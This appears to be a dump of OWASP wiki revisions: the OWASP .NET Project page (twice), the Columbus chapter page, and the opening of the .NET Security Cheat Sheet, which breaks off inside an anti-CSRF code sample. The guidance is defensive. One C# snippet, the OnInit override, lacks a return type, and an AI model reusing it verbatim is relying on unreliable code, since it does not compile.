==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [10 Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [30 Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

=Joining the Project=
==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])
==Project Roadmap==
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].
* If you'd like to contribute:
# visit the [[Tutorial]],
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.
<br />
'''Remember to add the tag: <nowiki>[[Category:OWASP .NET Project]]</nowiki> to the end of new articles so that they're properly categorized.'''
<br />
=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Category:OWASP .NET Project

2017-05-26T02:43:13Z

Bill Sempf: Updated the events

=Main=

<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:OWASP_Project_Header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP .NET Project==

The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.

The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.

Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.

==Purpose==

* Provide deep, rich guidance for .NET developers in using the security features of .NET
* Create guidance for use of OWASP components that are designed for use with .NET
* Focus on information about working with and on OWASP tools built using .NET

==Licensing==
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is the OWASP .NET Project? ==

* Deep, rich guidance for .NET developers in using the security features of .NET
* Guidance for use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Project Leader ==

[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]

== Mailing List ==
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[Java|Java and JVM]]
* [[Python|Python]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core
* [Jan 2016] Added the Two Factor Authentication component
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!
* [Jan 2015] Three completed articles, and four in progress
* [Oct 2014] Promoted our first guidance article from Draft
* [Sep 2014] AppSec USA .NET Project Summit
* [Mar 2014] Project roadmap
* [Feb 2014] Project reboot

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
|}

|}

=Resources=

The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.

== Detailed Guidance ==
The following articles describe specific guidance for working with the .NET Framework.

* The [[.NET Security Cheat Sheet]]
* [[.NET Penetration Testing]]
* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]
* [[Using Rfc2898DeriveBytes for PBKDF2]]
* [[Anti CSRF Tokens ASP.NET]]
* [[Adding two-factor authentication to ASP.NET]]

== Security Guidance ==
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:

* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]
* [[.NET Penetration Testing| .NET Penetration Testing]]

The following sections include specific guidance for particular technological problems related to .NET web applications and services:

* [[Exception Handling]]
* [[ASP.NET Request Validation]]
* [[ASP.NET Output Encoding]]

== Components ==

* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]
* [[.Net CSRF Guard]]
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]
* [[.NET AntiXSS Library]]
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]

== Recommended Resources ==
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:

; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]

== Active Projects ==
; [[OWASP .NET Active Projects]]

== Research Projects ==
; [[OWASP .NET Research]]

=Joining the Project=
==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])
==Project Roadmap==
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].
* If you'd like to contribute:
# visit the [[Tutorial]],
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.
<br />
'''Remember to add the tag: <nowiki>[[Category:OWASP .NET Project]]</nowiki> to the end of new articles so that they're properly categorized.'''
<br />
=Project Tracker=
==Timeline==
* January 2016 - Added the Two Factor Authentication component
* January 2015 - Three more completed articles, and four in progress
* November 2014 - Four completed articles, six in process.
* September 2014 - AppSec USA
* March 2014 - Project Roadmap
* February - 2014 Project Reboot
* May 2009 - Updated tabs, added content recommended by Andre Gironda
* March 2009 - Converted to new tab format, added Project Tracker tab
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.

==Roadmap==
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]

=FAQs=
==Questions and answers==
; Q1: Why are there so many empty projects?
; A1: Because YOU haven't worked on them! We need your help!

; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.

; Q3: Where are the .NET specific security tools.
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.

=Volunteers=

==Get involved==
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])

==Already involved==
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:

* Kevin Basista
* Brice Williams
* Marion Nepomuceno
* Dan Wilson
* Jess Vermont
* Jeff Knutson
* Robert Ginsburg
* Kyle Johnson
* Troy Hunt
* Dinis Cruz
* Shamir Charania
* Mohammed Al-Taweel
* Daniel Brzozowski
* Lachlan Barclay
* Bill Sempf
* Barry Dorrans (Microsoft)
* Reid Borsuk (Microsoft)

We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.

= Road Map and Getting Involved =

== Overview ==

The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to exploit.

The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.

== Themes ==
The themes of the .NET Project include:
* Deep, rich guidance for .NET developers using the security features of .NET
* Access to use of OWASP components that are designed for use with .NET
* Information about working with and on OWASP tools built using .NET

== Features ==

Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.

=== Guidance ===

Guidance is documentation that assists .NET developers implementing the security features of the framework.

==== In-process guidance ====

* [[Windows Identity Foundation]]
* [[.NET Memory Management]]
* [[Adding two-factor authentication to ASP.NET]]

==== Needed guidance ====

* [[ASP.NET Identity]]
* [[DPAPI]]
* [[ClickOnce Deployment]]
* [[.NET Callbacks - Vulnerabilities and Remediation]]
* [[Dependency Injection]]
* [[IoC containers]]
* [[Preventing SQL Injection in ADO.NET]]
* [[Authenticated Symmetric Encryption in .NET]]

=== Components ===

Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.

==== Needed Components ====

Please suggest needed components.

=== Projects that use .NET ===

These are projects that happen to be built in .NET. Many of them could use .NET development assistance:

* [[OWASP O2 Platform]]
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]

== Ideas ==
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)

=Project About=

{{Template:Project About
| project_name =OWASP .NET Project
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.
| project_license =CC-BY 3.0 for documentation and GPLv3 for code.
| project_home_page =
| leader_name1 = Bill Sempf
| leader_email1 =
| leader_username1 = Bill_Sempf
| contributor_name1 =
| contributor_email1 =
| contributor_username1 =
| mailing_list_name = owasp-dotnet
}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]

Columbus

2017-05-05T22:18:33Z

Bill Sempf: /* Sponsorship, too! */ Fixed donation link

Columbus

2017-05-05T22:16:10Z

Bill Sempf: /* Other Local InfoSec Resources */ Deleted section

Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.

== Upcoming Meetings ==

'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''

== Chapter information ==

Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff. All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.

=== OWASP Membership ===

There have been a lot of questions about membership. Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here]. Remember to tell them you are interested in membership in the Columbus chapter.

=== Stay in touch with Columbus OWASP ===

*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!

*We're a group on [http://www.linkedin.com/groups?home=&gid=2796025 LinkedIn] as well, please join us.

=== Become a voting member ===

We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics & principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information.

''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.''

=== We want your participation! ===

To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic.

=== Sponsorship, too! ===

There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be made online right now: ''<paypal>Columbus</paypal>''

== Previous Meetings ==

The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]

== Columbus OWASP Chapter Leaders ==

Please feel free to contact the chapter leaders at any time.

*[mailto:aaronansari@gmail.com Aaron Ansari]
*[mailto:Connie.Matthews(at)securicon.com Connie Matthews]
*[mailto:bill(at)pointweb.net Bill Sempf]

[[Category:OWASP_Chapter]] [[Category:Ohio]]

Columbus

2017-05-05T22:14:12Z

Bill Sempf: Freshened up the page a bit.

Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.

== Upcoming Meetings ==

'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''

== Chapter information ==

Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff. All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.

=== OWASP Membership ===

There have been a lot of questions about membership. Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here]. Remember to tell them you are interested in membership in the Columbus chapter.

=== Stay in touch with Columbus OWASP ===

*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!

*We're a group on [http://www.linkedin.com/groups?home=&gid=2796025 LinkedIn] as well, please join us.

=== Become a voting member ===

We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics & principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information.

''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.''

=== We want your participation! ===

To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic.

=== Sponsorship, too! ===

There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be made online right now: ''<paypal>Columbus</paypal>''

== Previous Meetings ==

The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]

== Columbus OWASP Chapter Leaders ==

Please feel free to contact the chapter leaders at any time.

*[mailto:aaronansari@gmail.com Aaron Ansari]
*[mailto:Connie.Matthews(at)securicon.com Connie Matthews]
*[mailto:bill(at)pointweb.net Bill Sempf]

== Other Local InfoSec Resources ==

*[http://infragard.columbus.oh.us/ Central Ohio InfraGard]
*[http://www.isaca-centralohio.org/ Central Ohio ISACA]
*[http://centralohioissa.org/ Central Ohio ISSA]
*[http://thesecuritymba.org/ Central Ohio (ISC)2 / Security MBA ]

[[Category:OWASP_Chapter]] [[Category:Ohio]]

.NET Security Cheat Sheet

2017-03-19T15:29:29Z

Bill Sempf:

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.

===Updating the Framework===
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.

Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.

Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.

==.NET Framework Guidance==

The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.

=== Data Access ===

* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.
* When using SQL Server, prefer integrated authentication over SQL authentication.
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),

=== Encryption ===
* Never, ever write your own encryption.
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.
* Use a strong hash algorithm.
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
